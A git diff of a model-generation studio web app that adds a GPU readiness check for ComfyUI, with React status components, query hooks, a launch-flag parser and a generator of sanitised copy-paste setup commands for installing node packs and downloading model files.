@@ -231,6 +233,25 @@ function PromptSuggestions({ suggestions }: { suggestions: string[] }) {
);
}
+/**
+ * The picked open model's state on the viewer's GPU (the GPU pre-flight), left of the engine switch: a pill that opens
+ * the guided fix. Its own component, so the draft it reads re-renders only this.
+ */
+function StudioGpuPill() {
+ const { config, draft } = useStudio();
+ const [engine] = useEngine();
+ const badges = useGpuBadges().data;
+ if (engine !== "open" || !badges?.connected) return null;
+ const modelId = draft.modelId || config.defaultModels.open;
+ const presetId = draft.presetId ?? config.preset?.id;
+ const preset = presetId ? badges.presets[presetId] : undefined;
+ const op = config.ops.find((o) => badges.models[`${modelId}#${o}`]);
+ const badge = preset ?? (op ? badges.models[`${modelId}#${op}`] : badgeFor(badges, { modelId }));
+ if (!badge) return null;
+ const ref = preset && presetId ? `preset:${presetId}` : `model:${modelId}#${op ?? Object.keys(badges.models).find((k) => k.startsWith(`${modelId}#`))?.split("#")[1] ?? ""}`;
+ return <HeaderPill badge={badge} gpu={badges.gpu} compact onOpen={() => openGpuSetup({ ref })} />;
+}
+
/** Sticky page header (title + engine), with an optional row of mode tabs under it. */
function StudioHeader({ title, header, tabs }: { title: string; header?: React.ReactNode; tabs?: React.ReactNode }) {
const [engine, setEngine] = useEngine();
@@ -241,6 +262,7 @@ function StudioHeader({ title, header, tabs }: { title: string; header?: React.R
<h1 className="min-w-0 truncate font-heading text-[22px] leading-[1.15]">{title}</h1>
<div className="ml-auto flex shrink-0 items-center gap-2">
{header}
+ <StudioGpuPill />
<EngineSwitch value={engine} onChange={setEngine} />
</div>
</header>
diff --git a/src/components/workflows-view.tsx b/src/components/workflows-view.tsx
index d259e3c3..0da43709 100644
--- a/src/components/workflows-view.tsx
+++ b/src/components/workflows-view.tsx
@@ -18,7 +18,8 @@ import { capabilityGroup, usedByIndex, WORKFLOW_GROUPS, type ComfyRoute } from "
type WF = Omit<ManifestWorkflow, "models"> & { models: (ManifestWorkflow["models"][number] & { present: boolean | null })[] };
interface ComfyStatus {
- reachable: boolean;
+ /** null: a visitor, who isn't told about the studio's own ComfyUI (their own is on /connect). */
+ reachable: boolean | null;
generatedAt: string;
comfyuiCommit?: string;
workflows: WF[];
@@ -28,7 +29,7 @@ async function fetchStatus(): Promise<ComfyStatus> {
const res = await fetch("/api/comfyui");
const body = (await res.json().catch(() => ({}))) as Partial<ComfyStatus> & { error?: string };
if (!res.ok) throw new Error(body.error ?? `Couldn’t load the workflow library (${res.status})`);
- return { reachable: !!body.reachable, generatedAt: body.generatedAt ?? "", comfyuiCommit: body.comfyuiCommit, workflows: body.workflows ?? [] };
+ return { reachable: body.reachable === null ? null : !!body.reachable, generatedAt: body.generatedAt ?? "", comfyuiCommit: body.comfyuiCommit, workflows: body.workflows ?? [] };
}
function WorkflowCard({ wf, usedBy }: { wf: WF; usedBy: string[] }) {
@@ -165,15 +166,25 @@ export function WorkflowsView({ routes = [] }: { routes?: ComfyRoute[] }) {
const validated = workflows.filter((w) => w.validated).length;
return (
<div className="space-y-6">
- <div className={cn("flex flex-wrap items-center gap-3 rounded-xl border px-4 py-3 text-[13px]", data.reachable ? "bg-background" : "bg-brand-faint")}>
- {data.reachable ? <CheckCircle2 className="size-4 shrink-0 text-success" /> : <CircleAlert className="size-4 shrink-0 text-warning" />}
- <span className="min-w-0 flex-1 basis-56">
- {data.reachable ? "Connected to ComfyUI — model checkmarks below reflect what’s installed." : "ComfyUI is not reachable, so open-source runs fall back to demo output."}
- </span>
- <Link href="/settings#comfyui" className="text-brand-text underline underline-offset-2">
- Server settings
- </Link>
- </div>
+ {data.reachable === null ? (
+ <div className="flex flex-wrap items-center gap-3 rounded-xl border bg-brand-faint px-4 py-3 text-[13px]">
+ <CircleAlert className="size-4 shrink-0 text-brand-text" />
+ <span className="min-w-0 flex-1 basis-56">These are the graphs your own ComfyUI runs. Connect your GPU to see what it has and what it still needs.</span>
+ <Link href="/connect" className="text-brand-text underline underline-offset-2">
+ Connect your GPU
+ </Link>
+ </div>
+ ) : (
+ <div className={cn("flex flex-wrap items-center gap-3 rounded-xl border px-4 py-3 text-[13px]", data.reachable ? "bg-background" : "bg-brand-faint")}>
+ {data.reachable ? <CheckCircle2 className="size-4 shrink-0 text-success" /> : <CircleAlert className="size-4 shrink-0 text-warning" />}
+ <span className="min-w-0 flex-1 basis-56">
+ {data.reachable ? "Connected to ComfyUI — model checkmarks below reflect what’s installed." : "ComfyUI is not reachable, so open-source runs fall back to demo output."}
+ </span>
+ <Link href="/settings#comfyui" className="text-brand-text underline underline-offset-2">
+ Server settings
+ </Link>
+ </div>
+ )}
{workflows.length > 0 && (
<div className="flex flex-col gap-2 sm:flex-row sm:items-center">
<div className="relative w-full sm:w-80">
diff --git a/src/hooks/use-gpu.ts b/src/hooks/use-gpu.ts
new file mode 100644
index 00000000..0034667f
--- /dev/null
+++ b/src/hooks/use-gpu.ts
@@ -0,0 +1,193 @@
+"use client";
+
+import { useQuery, useQueryClient } from "@tanstack/react-query";
+import { useCallback, useRef, useState } from "react";
+import { GPU_SETUP_EVENT } from "@/lib/api";
+import { BADGE_STATE } from "@/lib/gpu/readiness";
+import type { Badge, BadgeMap, CheckLine, FixPlan, GpuProblem, ReadinessReport, Readiness } from "@/lib/gpu/types";
+
+/**
+ * The GPU pre-flight in the browser: the readiness board, the badge map and a tool's fix plan (react-query keys
+ * ["gpu", …], 60 s stale, refetched on focus), the live check (an NDJSON stream), and the "fuobe:gpu-setup" event
+ * that opens the guided fix wherever the user is stuck.
+ */
+
+export interface ReadinessView {
+ connected: boolean;
+ target?: "install" | "account";
+ reason?: "guest" | "no-gpu" | "token" | "refused" | "off";
+ checkedAt?: number | null;
+ stale?: boolean;
+ wait?: number;
+ problem?: GpuProblem;
+ problemText?: string;
+ problemDetail?: string;
+ report?: ReadinessReport;
+}
+
+async function getJson<T>(url: string): Promise<T> {
+ const res = await fetch(url, { cache: "no-store" });
+ const body = (await res.json().catch(() => ({}))) as T & { error?: string };
+ if (!res.ok) throw Object.assign(new Error(body.error ?? `Request failed (${res.status})`), { status: res.status });
+ return body;
+}
+
+export function useGpuReadiness(enabled = true) {
+ return useQuery({ queryKey: ["gpu", "readiness"], queryFn: () => getJson<ReadinessView>("/api/gpu/readiness"), staleTime: 60_000, refetchOnWindowFocus: true, enabled });
+}
+
+const NO_BADGES: BadgeMap = { connected: false, models: {}, presets: {} };
+
+export function useGpuBadges() {
+ return useQuery({
+ queryKey: ["gpu", "badges"],
+ queryFn: () => getJson<BadgeMap>("/api/gpu/badges").catch(() => NO_BADGES),
+ staleTime: 60_000,
+ refetchOnWindowFocus: true,
+ });
+}
+
+export function useGpuPlan(ref: string | null) {
+ return useQuery({
+ queryKey: ["gpu", "plan", ref],
+ queryFn: () => getJson<FixPlan>(`/api/gpu/plan?ref=${encodeURIComponent(ref!)}`),
+ enabled: !!ref,
+ staleTime: 15_000,
+ retry: false,
+ });
+}
+
+/** A chip's state, from a badge. */
+export const badgeState = (b: Badge | undefined | null): Readiness | null => (b ? BADGE_STATE[b[0]] : null);
+
+/** The badge for a model's operation (or any of its operations), or a preset's. */
+export function badgeFor(map: BadgeMap | undefined, o: { modelId?: string; op?: string; presetId?: string }): Badge | null {
+ if (!map?.connected) return null;
+ if (o.presetId && map.presets[o.presetId]) return map.presets[o.presetId];
+ if (!o.modelId) return null;
+ if (o.op && map.models[`${o.modelId}#${o.op}`]) return map.models[`${o.modelId}#${o.op}`];
+ const any = Object.entries(map.models).find(([k]) => k.startsWith(`${o.modelId}#`));
+ return any?.[1] ?? null;
+}
+
+/** "1 step · 12.3 GB" for a chip's tooltip and the composer's line. */
+export function badgeText(b: Badge, gpu?: string): { short: string; long: string } {
+ const [s, steps, tenths, flags] = b;
+ const gb = tenths ? `${tenths / 10} GB` : "";
+ if (s === "r") return flags & 4 ? { short: "Ready", long: "Runs on any computer" } : { short: "Ready", long: `Ready on your ${gpu ?? "GPU"}${flags & 1 ? " (slow: it borrows memory)" : ""}` };
+ if (s === "g") return { short: "Bigger GPU", long: `Needs more graphics memory than your ${gpu ?? "GPU"} has` };
+ if (s === "u") return { short: "Not yet", long: "Needs a second ComfyUI, which Your GPU doesn't connect yet" };
+ const downloadOnly = gb && steps === 1;
+ return {
+ short: steps === 1 ? "1 step" : `${steps} steps`,
+ long: downloadOnly ? `Needs a one-time download (${gb})` : `${steps === 1 ? "One thing" : `${steps} things`} to set up${gb ? ` (${gb})` : ""}`,
+ };
+}
+
+// ---------------------------------------------------------------------------
+// The guided fix: opened by an event, from anywhere
+
+export { GPU_SETUP_EVENT };
+
+export interface GpuSetupDetail {
+ ref: string;
+ name?: string;
+ plan?: FixPlan;
+}
+
+/** What "Try again" and "Run anyway" do for the request that was stopped (the composer that sent it sets them). */
+let pendingRetry: { at: number; retry: () => void; skip: () => void } | null = null;
+
+export function setGpuRetry(retry: () => void, skip: () => void): void {
+ pendingRetry = { at: Date.now(), retry, skip };
+}
+
+/** The composer's retry, when it asked within the last few seconds (another page's stale one never applies). */
+export function takeGpuRetry(): { retry: () => void; skip: () => void } | null {
+ const p = pendingRetry;
+ pendingRetry = null;
+ return p && Date.now() - p.at < 15_000 ? p : null;
+}
+
+export function openGpuSetup(detail: GpuSetupDetail): void {
+ window.dispatchEvent(new CustomEvent<GpuSetupDetail>(GPU_SETUP_EVENT, { detail }));
+}
+
+// ---------------------------------------------------------------------------
+// The live check
+
+export type CheckEvent = ({ type: "line" } & CheckLine) | ({ type: "report" } & ReadinessView) | { type: "error"; error: string };
+
+/** POST /api/gpu/check, reading its lines as they come. Resolves with the board (or throws the refusal). */
+export async function runGpuCheck(onLine: (l: CheckLine) => void): Promise<ReadinessView> {
+ const res = await fetch("/api/gpu/check", { method: "POST" });
+ if (!res.ok || !res.body) {
+ const body = (await res.json().catch(() => ({}))) as { error?: string; wait?: number };
+ throw Object.assign(new Error(body.error ?? `The check didn't start (${res.status})`), { status: res.status, wait: body.wait });
+ }
+ const reader = res.body.getReader();
+ const decoder = new TextDecoder();
+ let buf = "";
+ let report: ReadinessView | null = null;
+ for (;;) {
+ const { done, value } = await reader.read();
+ if (value) buf += decoder.decode(value, { stream: true });
+ let nl: number;
+ while ((nl = buf.indexOf("\n")) >= 0) {
+ const line = buf.slice(0, nl).trim();
+ buf = buf.slice(nl + 1);
+ if (!line) continue;
+ let ev: CheckEvent;
+ try {
+ ev = JSON.parse(line) as CheckEvent;
+ } catch {
+ continue;
+ }
+ if (ev.type === "line") onLine(ev);
+ else if (ev.type === "report") {
+ const { type: _type, ...view } = ev;
+ void _type;
+ report = view;
+ } else if (ev.type === "error") throw new Error(ev.error);
+ }
+ if (done) break;
+ }
+ if (!report) throw new Error("The check stopped before it finished.");
+ return report;
+}
+
+/** The live checklist: run a check, keep its lines (each replaces the last line of its step), and refresh the board and chips. */
+export function useGpuCheck() {
+ const qc = useQueryClient();
+ const [lines, setLines] = useState<CheckLine[]>([]);
+ const [running, setRunning] = useState(false);
+ const [error, setError] = useState<string | null>(null);
+ const busy = useRef(false);
+ const start = useCallback(async () => {
+ if (busy.current) return;
+ busy.current = true;
+ setRunning(true);
+ setError(null);
+ setLines([]);
+ try {
+ const view = await runGpuCheck((l) =>
+ setLines((prev) => {
+ const i = prev.findIndex((p) => p.step === l.step);
+ if (i < 0) return [...prev, l];
+ const next = [...prev];
+ next[i] = l;
+ return next;
+ }),
+ );
+ qc.setQueryData(["gpu", "readiness"], view);
+ void qc.invalidateQueries({ queryKey: ["gpu", "badges"] });
+ void qc.invalidateQueries({ queryKey: ["gpu", "plan"] });
+ } catch (e) {
+ setError((e as Error).message);
+ } finally {
+ busy.current = false;
+ setRunning(false);
+ }
+ }, [qc]);
+ return { lines, running, error, start };
+}
diff --git a/src/lib/api.ts b/src/lib/api.ts
index 7dbeb46f..c3ba2f56 100644
--- a/src/lib/api.ts
+++ b/src/lib/api.ts
@@ -509,15 +509,21 @@ export function useCreateGeneration() {
const qc = useQueryClient();
return useMutation({
mutationFn: async (req: GenerationRequest) => {
- const { items, notes } = await json<{ items: Generation[]; notes?: string[] }>(
- await fetch("/api/generations", {
- method: "POST",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify(req),
- }),
- );
+ const res = await fetch("/api/generations", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(req),
+ });
+ // Stopped by the GPU pre-flight: the guided fix opens (watchGuestRefusals), so no error toast on top of it.
+ if (res.status === 409 && res.headers.get("x-fuobe-gpu-setup") === "1") {
+ const b = (await res.json().catch(() => ({}))) as { error?: string };
+ throw Object.assign(new Error(b.error ?? "This tool needs setting up on your GPU"), { gpuSetup: true });
+ }
+ const { items, notes, gpuWarning } = await json<{ items: Generation[]; notes?: string[]; gpuWarning?: string }>(res);
// What the run leaves out or changes (a LoRA that runs only on your GPU, a length the API rounds) is said, not dropped silently.
if (notes?.length) toast.warning(notes.length > 1 ? "This run changes a few things" : "This run changes one thing", { description: notes.join(". ") });
+ // The studio's own ComfyUI seems to miss something (the owner is warned, never stopped).
+ if (gpuWarning) toast.warning(gpuWarning, { action: { label: "See what", onClick: () => window.location.assign(new URL("/connect", window.location.origin).toString()) } });
return items;
},
onSuccess: (items) => {
@@ -1090,6 +1096,8 @@ export function signInHref(mode: "signup" | "login", next?: string): string {
export const GUEST_PROMPT_EVENT = "fuobe:guest-prompt";
export const CONNECT_GPU_EVENT = "fuobe:connect-gpu";
+/** The guided fix (src/components/gpu/guided-fix.tsx): { ref, plan? }. */
+export const GPU_SETUP_EVENT = "fuobe:gpu-setup";
/**
* A guest tried to change something (the proxy answers a guest's change with a 401 marked
@@ -1109,6 +1117,14 @@ export function watchGuestRefusals(): void {
if (method !== "GET" && method !== "HEAD") window.dispatchEvent(new Event(GUEST_PROMPT_EVENT));
}
if (res.status === 403 && res.headers.get("x-fuobe-connect-gpu") === "1") window.dispatchEvent(new Event(CONNECT_GPU_EVENT));
+ // A run the GPU pre-flight stopped (something missing on the viewer's ComfyUI): the guided fix opens with its plan.
+ if (res.status === 409 && res.headers.get("x-fuobe-gpu-setup") === "1") {
+ res
+ .clone()
+ .json()
+ .then((b: { ref?: string; plan?: unknown }) => b.ref && window.dispatchEvent(new CustomEvent(GPU_SETUP_EVENT, { detail: { ref: b.ref, plan: b.plan } })))
+ .catch(() => {});
+ }
return res;
};
}
diff --git a/src/lib/catalog/types.ts b/src/lib/catalog/types.ts
index 28fc47de..593a54fa 100644
--- a/src/lib/catalog/types.ts
+++ b/src/lib/catalog/types.ts
@@ -1057,6 +1057,11 @@ export interface Generation {
pinnedAt?: number | null;
/** Review status (null: none). */
review?: ReviewStatus | null;
+ /**
+ * A failed ComfyUI run that something missing on the GPU caused (a model file, a node class): its tile offers
+ * "Fix it", which opens the GPU pre-flight's guided fix.
+ */
+ fix?: GenerationFix | null;
/**
* What the run leaves out or changes, said when it is created (LoRAs a cloud run can't carry, a clip length
* the API rounds). Only on the answer that creates it; not stored.
@@ -1064,6 +1069,13 @@ export interface Generation {
notes?: string[];
}
+/** Why a ComfyUI run failed, when the GPU was missing something (generations.fix_json). */
+export interface GenerationFix {
+ code: "comfy_missing_model" | "comfy_missing_node" | "comfy_oom";
+ workflowId?: string;
+ items: { folder?: string; file?: string; class?: string; pack?: string }[];
+}
+
/** Input slot a preset asks the user for. */
export interface InputSlot {
key: "image" | "image2" | "image3" | "endImage" | "video" | "audio" | "mask" | "sketch" | "voiceAudio" | "voiceAudio2";
diff --git a/src/lib/comfy-variants.ts b/src/lib/comfy-variants.ts
new file mode 100644
index 00000000..22b49640
--- /dev/null
+++ b/src/lib/comfy-variants.ts
@@ -0,0 +1,52 @@
+import { exrWorkflow } from "@/lib/av/video-finish";
+
+/**
+ * Which workflow a ComfyUI route runs for a request: the route's endpoint, or a variant picked by an option.
+ * prepareWorkflow (src/server/providers/comfyui.ts) and the GPU pre-flight's gate (src/server/gpu/gate.ts)
+ * both call this, so the graph that runs is the graph that was checked. Pure.
+ */
+
+/**
+ * Image-to-video graphs whose camera moves Wan 2.2 Fun Camera makes natively: a request with a pose (params.extra.cameraMotion)
+ * runs there (Fuobe DoP on Wan 2.2 14B, Fuobe Cinema on its Lightning graph).
+ */
+export const CAMERA_POSE_GRAPH: Record<string, string> = { "wan22-i2v-14b": "wan22-fun-camera-14b", "wan22-i2v-14b-lightx2v": "wan22-fun-camera-14b" };
+
+/**
+ * Fuobe Marketing Image's Standalone product shot (params.extra.productShot with one product photo) runs the product-shot
+ * graph: the product cut out with BiRefNet, put on white and relit into the scene (Qwen-Image-Edit 2509 + White_to_Scene).
+ */
+export const PRODUCT_SHOT_GRAPH: Record<string, string> = { "qwen-image-edit-2511-multi": "product-shot-qwen-edit-2509" };
+
+export interface VariantRequest {
+ op: string;
+ /** Clips a join takes ("video-concat-{n}"). */
+ clips: number;
+ images: number;
+ /** The output format asked for ("exr"). */
+ format?: string;
+ /** A second audio track is given (a mux with a background stem). */
+ audio2: boolean;
+ extra: Record<string, unknown>;
+ /** Is this workflow in the library. */
+ has: (id: string) => boolean;
+}
+
+/** The workflow id a route's endpoint runs as, for this request. */
+export function resolveWorkflowId(endpointTemplate: string, r: VariantRequest): string {
+ // "video-concat-{n}": one workflow per clip count.
+ let endpoint = endpointTemplate.replace("{n}", String(Math.max(2, Math.min(4, r.clips))));
+ // Soundtrack without a background stem: the single-track graph.
+ if (r.op === "mux" && !r.audio2 && r.has(`${endpoint}-replace`)) endpoint = `${endpoint}-replace`;
+ // EXR frames have graphs of their own (export, SDR to HDR).
+ if (r.format === "exr" && (r.op === "export-video" || r.op === "sdr-to-hdr")) {
+ const exr = exrWorkflow(r.op);
+ if (r.has(exr)) endpoint = exr;
+ }
+ // Fuobe DoP: a camera move Wan 2.2 Fun Camera makes natively runs on its graph.
+ const posed = CAMERA_POSE_GRAPH[endpoint];
+ if (posed && typeof r.extra.cameraMotion === "string" && r.extra.cameraMotion) endpoint = posed;
+ const shot = PRODUCT_SHOT_GRAPH[endpoint];
+ if (shot && r.extra.productShot === true && r.images === 1 && r.has(shot)) endpoint = shot;
+ return endpoint;
+}
diff --git a/src/lib/comfy.ts b/src/lib/comfy.ts
index db2fef51..998d69d4 100644
--- a/src/lib/comfy.ts
+++ b/src/lib/comfy.ts
@@ -50,6 +50,8 @@ export interface ManifestModel {
folder: string;
url?: string;
sizeGb?: number;
+ /** A licence to accept on Hugging Face (and a token) before it downloads (the LTX-2.5 files). */
+ gated?: boolean;
/** An alternative a model control can pick (FILM for RIFE): not needed for the workflow's defaults. */
optional?: boolean;
}
diff --git a/src/lib/gpu/argv.ts b/src/lib/gpu/argv.ts
new file mode 100644
index 00000000..46508d08
--- /dev/null
+++ b/src/lib/gpu/argv.ts
@@ -0,0 +1,38 @@
+import type { ComfyFlags } from "./types";
+
+/**
+ * Read ComfyUI's launch flags from system_stats.system.argv (SPEC §6.1). Both "--flag value" and
+ * "--flag=value" count. A flag that takes an optional value (--listen, --enable-cors-header) has none
+ * when the next word is another flag or the end.
+ */
+export function parseArgv(argv: unknown): ComfyFlags {
+ const args = Array.isArray(argv) ? argv.filter((a): a is string => typeof a === "string") : [];
+ const has = (flag: string) => args.some((a) => a === flag || a.startsWith(`${flag}=`));
+ /** undefined: absent; null: present with no value; else the value. */
+ const value = (flag: string): string | null | undefined => {
+ for (let i = 0; i < args.length; i++) {
+ const a = args[i];
+ if (a.startsWith(`${flag}=`)) return a.slice(flag.length + 1);
+ if (a === flag) {
+ const next = args[i + 1];
+ return next !== undefined && !next.startsWith("--") ? next : null;
+ }
+ }
+ return undefined;
+ };
+ const listenRaw = value("--listen");
+ // Absent: loopback only. No value: every address (0.0.0.0 and ::). A value: a comma-separated list.
+ const listen = listenRaw === undefined ? null : listenRaw === null || listenRaw === "" ? "0.0.0.0,::" : listenRaw;
+ const loopback = (h: string) => /^127\./.test(h) || h === "::1" || h === "[::1]" || h.toLowerCase() === "localhost";
+ const hosts = (listen ?? "").split(",").map((h) => h.trim()).filter(Boolean);
+ const cors = value("--enable-cors-header");
+ return {
+ listen,
+ loopbackOnly: listen === null || (hosts.length > 0 && hosts.every(loopback)),
+ corsOrigin: cors === undefined ? null : cors === null || cors === "" ? "*" : cors,
+ enableManager: has("--enable-manager"),
+ managerLegacyUi: has("--enable-manager-legacy-ui"),
+ lowvram: has("--lowvram") || has("--novram"),
+ cpuOnly: has("--cpu"),
+ };
+}
diff --git a/src/lib/gpu/commands.ts b/src/lib/gpu/commands.ts
new file mode 100644
index 00000000..d227ece4
--- /dev/null
+++ b/src/lib/gpu/commands.ts
@@ -0,0 +1,205 @@
+import type { GpuInventory, IndexPack, RequirementIndex, StepKind } from "./types";
+
+/**
+ * Copy-paste commands for a fix plan (SPEC §8.3, review item 4): bash for Mac / Linux and PowerShell for
+ * Windows. Every string comes from the index (repos, commits, file names, pinned URLs), except the folder
+ * paths the viewer's ComfyUI reports, which must pass a strict allow-list and are single-quoted; anything
+ * else falls back to $COMFY / $env:COMFY, with one line that says to set it. Tokens are never written in:
+ * gated downloads read $HF_TOKEN, civitai ones $CIVITAI_KEY (review item 5).
+ */
+
+const SAFE_WIN = /^[A-Za-z]:\\[\w .\\-]*$/;
+const SAFE_POSIX = /^\/[\w ./-]*$/;
+const UNSAFE = /["'`$;|&\r\n<>()%!^]/;
+
+/** A folder path from the viewer's ComfyUI, if it is plain enough to put in a command; null otherwise. */
+export function safePath(p: string | undefined | null): { path: string; style: "win" | "posix" } | null {
+ if (!p || p.length > 260 || UNSAFE.test(p)) return null;
+ if (SAFE_WIN.test(p)) return { path: p.replace(/\\+$/, "") || p, style: "win" };
+ if (SAFE_POSIX.test(p)) return { path: p.replace(/\/+$/, "") || "/", style: "posix" };
+ return null;
+}
+
+/** Index strings (names, commits, URLs) still get checked: nothing that could break out of quotes. */
+const plain = (s: string) => !/["'`$;|&\r\n]/.test(s);
+const PLAIN_URL = /^https:\/\/[\w.-]+\/[\w./%~+:=@-]*(\?[\w.%~+=&-]*)?$/;
+
+type Shell = "bash" | "ps";
+
+export interface CommandContext {
+ inv: GpuInventory | null;
+ idx: RequirementIndex;
+}
+
+/** Where things go on the viewer's machine, per shell. */
+class Layout {
+ usesVar = { bash: false, ps: false };
+ constructor(private readonly inv: GpuInventory | null) {}
+
+ /** The ComfyUI folder, when the model roots name it: ".../ComfyUI/models/vae" → ".../ComfyUI". */
+ private root(style: "win" | "posix"): string | null {
+ for (const dirs of Object.values(this.inv?.comfy?.modelRoots ?? {})) {
+ for (const d of dirs) {
+ const s = safePath(d);
+ if (!s || s.style !== style) continue;
+ const m = /^(.*)[\\/]models[\\/][^\\/]+$/.exec(s.path);
+ if (m && m[1]) return m[1];
+ }
+ }
+ return null;
+ }
+
+ private known(shell: Shell, base: string | null, rest: string[]): string | null {
+ if (!base) return null;
+ const sep = shell === "ps" ? "\\" : "/";
+ const p = [base, ...rest].join(sep);
+ return shell === "ps" ? `'${p.replace(/'/g, "''")}'` : `'${p}'`;
+ }
+
+ private viaVar(shell: Shell, rest: string[]): string {
+ this.usesVar[shell] = true;
+ if (!rest.length) return shell === "ps" ? '"$env:COMFY"' : '"$COMFY"';
+ return shell === "ps" ? `"$env:COMFY\\${rest.join("\\")}"` : `"$COMFY/${rest.join("/")}"`;
+ }
+
+ /** A path under the ComfyUI folder. */
+ under(shell: Shell, ...rest: string[]): string {
+ return this.known(shell, this.root(shell === "ps" ? "win" : "posix"), rest) ?? this.viaVar(shell, rest);
+ }
+
+ /** A model folder (its first configured path when it is known and plain). */
+ modelDir(shell: Shell, folder: string, ...rest: string[]): string {
+ const style = shell === "ps" ? "win" : "posix";
+ const dir = (this.inv?.comfy?.modelRoots?.[folder] ?? []).map((d) => safePath(d)).find((s) => s?.style === style);
+ return this.known(shell, dir?.path ?? null, rest) ?? this.under(shell, "models", folder, ...rest);
+ }
+
+ python(shell: Shell): string {
+ if (shell === "ps" && this.inv?.comfy?.embeddedPython) return `& ${this.under("ps", "..", "python_embeded", "python.exe")}`;
+ return "python";
+ }
+
+ header(shell: Shell): string {
+ if (!this.usesVar[shell]) return "";
+ return shell === "ps" ? '$env:COMFY = "C:\\ComfyUI" # change this to your ComfyUI folder\n' : 'COMFY="$HOME/ComfyUI" # change this to your ComfyUI folder\n';
+ }
+}
+
+export interface CommandStep {
+ kind: StepKind;
+ pack?: string;
+ /** folder/file */
+ file?: string;
+ lora?: { file: string; url?: string; download: "direct" | "civitai-token" | "hf-gated"; page?: string };
+ /** For the licence steps: the page to open. */
+ link?: string;
+}
+
+/** A download URL without any token a library entry might carry. */
+function cleanUrl(url: string): string | null {
+ try {
+ const u = new URL(url);
+ for (const k of [...u.searchParams.keys()]) if (/token|key|auth/i.test(k)) u.searchParams.delete(k);
+ const s = u.toString();
+ return PLAIN_URL.test(s) && plain(s) ? s : null;
+ } catch {
+ return null;
+ }
+}
+
+function restartLine(inv: GpuInventory | null): string {
+ const env = (inv?.comfy?.deployEnv ?? "").toLowerCase();
+ if (env.includes("desktop")) return "Restart ComfyUI Desktop from its tray menu";
+ if (inv?.comfy?.embeddedPython) return "Close the ComfyUI window, then run run_nvidia_gpu.bat again";
+ return "Press Ctrl+C in the ComfyUI window, then start it again with the same flags";
+}
+
+function packLines(shell: Shell, l: Layout, name: string, p: IndexPack, kind: StepKind): string[] {
+ if (!plain(name) || !plain(p.repo) || !/^[0-9a-f]{7,40}$/.test(p.commit)) return [comment(shell, `Install ${name} by hand: ${p.repo}`)];
+ const dest = l.under(shell, "custom_nodes", name);
+ const py = l.python(shell);
+ const req = l.under(shell, "custom_nodes", name, "requirements.txt");
+ const pip = p.requirementsTxt ? [`${py} -m pip install -r ${req}`] : [];
+ if (kind === "pack-repair") return [comment(shell, `${name} didn't start. Reinstall its Python packages, then restart ComfyUI`), ...pip];
+ if (kind === "pack-update") return [`git -C ${dest} fetch origin`, `git -C ${dest} checkout ${p.commit}`, ...pip];
+ if (p.subdir && plain(p.subdir)) {
+ const src = l.under(shell, "custom_nodes", `.${name}-src`);
+ const from = l.under(shell, "custom_nodes", `.${name}-src`, ...p.subdir.split("/"));
+ return [
+ `git clone --filter=blob:none --no-checkout ${p.repo} ${src}`,
+ `git -C ${src} sparse-checkout set ${p.subdir}`,
+ `git -C ${src} checkout ${p.commit}`,
+ shell === "ps" ? `Copy-Item -Recurse -Force ${from} ${dest}` : `cp -r ${from} ${dest}`,
+ ...pip,
+ ];
+ }
+ return [`git clone ${p.repo} ${dest}`, `git -C ${dest} checkout ${p.commit}`, ...pip];
+}
+
+function download(shell: Shell, dir: string, target: string, url: string, auth: "" | "hf" | "civitai", replace: boolean): string[] {
+ const header =
+ auth === "hf" ? (shell === "ps" ? ' -H "Authorization: Bearer $env:HF_TOKEN"' : ' -H "Authorization: Bearer $HF_TOKEN"') : auth === "civitai" ? (shell === "ps" ? ' -H "Authorization: Bearer $env:CIVITAI_KEY"' : ' -H "Authorization: Bearer $CIVITAI_KEY"') : "";
+ const lines = [shell === "ps" ? `New-Item -ItemType Directory -Force -Path ${dir} | Out-Null` : `mkdir -p ${dir}`];
+ if (replace) lines.push(shell === "ps" ? `Remove-Item -Force ${target}` : `rm -f ${target}`);
+ lines.push(`${shell === "ps" ? "curl.exe" : "curl"} -L -C - --fail${header} -o ${target} "${url}"`);
+ return lines;
+}
+
+const comment = (_shell: Shell, text: string) => `# ${text.replace(/[\r\n]+/g, " ")}`;
+
+function stepLines(shell: Shell, l: Layout, s: CommandStep, ctx: CommandContext): string[] {
+ const { idx, inv } = ctx;
+ switch (s.kind) {
+ case "pack-install":
+ case "pack-update":
+ case "pack-repair": {
+ const p = s.pack ? idx.packs[s.pack] : undefined;
+ return p && s.pack ? packLines(shell, l, s.pack, p, s.kind) : [];
+ }
+ case "restart":
+ return [comment(shell, restartLine(inv))];
+ case "comfy-update": {
+ if (inv?.comfy?.embeddedPython) return shell === "ps" ? [`& ${l.under("ps", "..", "update", "update_comfyui.bat")}`] : [comment(shell, "Run update\\update_comfyui.bat in your ComfyUI folder")];
+ if ((inv?.comfy?.deployEnv ?? "").toLowerCase().includes("desktop")) return [comment(shell, "ComfyUI Desktop: Help → Check for updates")];
+ return [`git -C ${l.under(shell)} pull`, `${l.python(shell)} -m pip install -r ${l.under(shell, "requirements.txt")}`];
+ }
+ case "core-missing":
+ return [comment(shell, "Look for IMPORT FAILED in the ComfyUI window and install the Python package it names, then restart ComfyUI")];
+ case "manager-enable":
+ return [`${l.python(shell)} -m pip install -r ${l.under(shell, "manager_requirements.txt")}`, comment(shell, "Then start ComfyUI with --enable-manager")];
+ case "hf-licence":
+ return [
+ comment(shell, `Accept the licence at ${s.link ?? "the model's Hugging Face page"}, then make a token at https://huggingface.co/settings/tokens`),
+ shell === "ps" ? '$env:HF_TOKEN = "hf_your_token"' : 'export HF_TOKEN="hf_your_token"',
+ ];
+ case "civitai-key":
+ return [comment(shell, "Make a civitai API key at https://civitai.com/user/account"), shell === "ps" ? '$env:CIVITAI_KEY = "your_key"' : 'export CIVITAI_KEY="your_key"'];
+ case "isolated-worker":
+ return [comment(shell, "Start a second ComfyUI for these add-ons: scripts/comfy/install-isolated-worker.sh in Fuobe's repository shows how")];
+ case "model":
+ case "model-replace": {
+ const f = s.file ? idx.files[s.file as keyof RequirementIndex["files"]] : undefined;
+ if (!f) return [];
+ const url = cleanUrl(f.pinnedUrl) ?? cleanUrl(f.url);
+ if (!url || !plain(f.file) || !plain(f.folder)) return [comment(shell, `Download ${f.file} into models/${f.folder}`)];
+ return download(shell, l.modelDir(shell, f.folder), l.modelDir(shell, f.folder, f.file), url, f.gated ? "hf" : "", s.kind === "model-replace");
+ }
+ case "lora": {
+ const lo = s.lora;
+ if (!lo) return [];
+ const url = lo.url ? cleanUrl(lo.url) : null;
